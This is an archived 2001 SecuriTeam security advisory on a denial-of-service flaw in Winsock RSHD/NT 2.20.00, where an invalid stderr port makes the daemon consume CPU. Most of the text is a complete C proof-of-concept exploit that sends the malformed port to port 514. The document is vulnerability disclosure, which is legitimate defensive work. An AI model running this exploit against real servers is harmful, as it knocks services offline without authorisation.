[NT] Winsock RSHD/NT DoS

From: support@securiteam.com
Date: 12/12/01


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 12 Dec 2001 18:55:27 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Winsock RSHD/NT DoS
------------------------------------------------------------------------

SUMMARY

Winsock RSHD/NT mishandles invalid port assignments to the stderr stream.
This enables remote attackers to launch a DoS attack.

DETAILS

Vulnerable systems:
Winsock RSHD/NT version 2.20.00

Whenever an rsh client connects to the daemon, it sends the port number to
which the daemon will send all its informational data (stderr). When this
port is an invalid one (a negative number for example), or a port below
1024, the product will consume a large amount of CPU time.

Vendor status:
Vendor was informed but no measures were taken.

Exploit:
/*
** WRSHDNT 2.20.00 CPU overusage demo
** jimmers@yandex.ru
*/

#define HOST "localhost"
#define PORT 514

#include <stdio.h>
#include <winsock2.h>

int main(int argc, char * argv[]){
SOCKET s;
WSADATA WSAData;
LPHOSTENT lpHostEnt;
SOCKADDR_IN sockAddr;
int res, on = 1;
char *stderr_port = "-666";
char *local_user = "Administrator";
char *remote_user = "root";
char *cmd = "help";

res = WSAStartup( MAKEWORD( 2, 2 ),
&WSAData);
if(res != 0){
res = WSAGetLastError();
printf("WSAStartup() failed,
WSAGetLastError: %d\n", res);
return 1;
}

lpHostEnt = gethostbyname(HOST);
if(lpHostEnt == NULL){
res = WSAGetLastError();
printf("gethostbyname() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}

s = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
if(s == INVALID_SOCKET){
res = WSAGetLastError();
printf("socket() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}

sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
sockAddr.sin_addr = *((LPIN_ADDR)
*lpHostEnt->h_addr_list);

res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
if(res != 0){
res = WSAGetLastError();
printf("connect() failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}

Sleep(400);
res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(stderr_port) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}

printf("send(stderr_port): %d\n", res);

Sleep(400);
res = send(s, local_user, strlen(local_user)
+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(local_user) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(local_user): %d\n", res);

Sleep(400);
res = send(s, remote_user, strlen
(remote_user)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(remote_user) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(remote_user): %d\n", res);

Sleep(400);
res = send(s, cmd, strlen(cmd)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(cmd) failed,
WSAGetLastError: %d\n", res);
WSACleanup();
return 1;
}
printf("send(cmd): %d\n", res);

WSACleanup();
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:jimmers@yandex.ru> martin
rakhmanoff.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Winsock RSHD/NT 2.20.00 CPU overusage when invalid data is send
    ... invalid port numbers of stderr stream. ... WSAGetLastError: %d\n", res); ...
    (Bugtraq)
  • WRSHDNT 2.21.00 CPU overusage
    ... ** WRSHDNT 2.21.00 CPU overusage demo ... WSAGetLastError: %d\n", res); ...
    (Bugtraq)
  • Re: httplib and socket.getaddrinfo
    ... for res in socket.getaddrinfo(self.host, self.port, 0, ... Is it correct to infer from the "Resolves the host/port argument, ... for res in socket.getaddrinfo(host, port): ... Todo lo que querías saber, y lo que ni imaginabas, está en Yahoo! ...
    (comp.lang.python)
  • Re: 2.6.17-mm4
    ... outb_p(0x19, port); ... res = inb_p; ... so it reads/writes port 0x30 and 0xb0. ... on modern hardware? ...
    (Linux-Kernel)
  • Re: 2.6.17-mm4
    ... outb_p(0x19, port); ... res = inb_p; ... so it reads/writes port 0x30 and 0xb0. ... on modern hardware? ...
    (Linux-Kernel)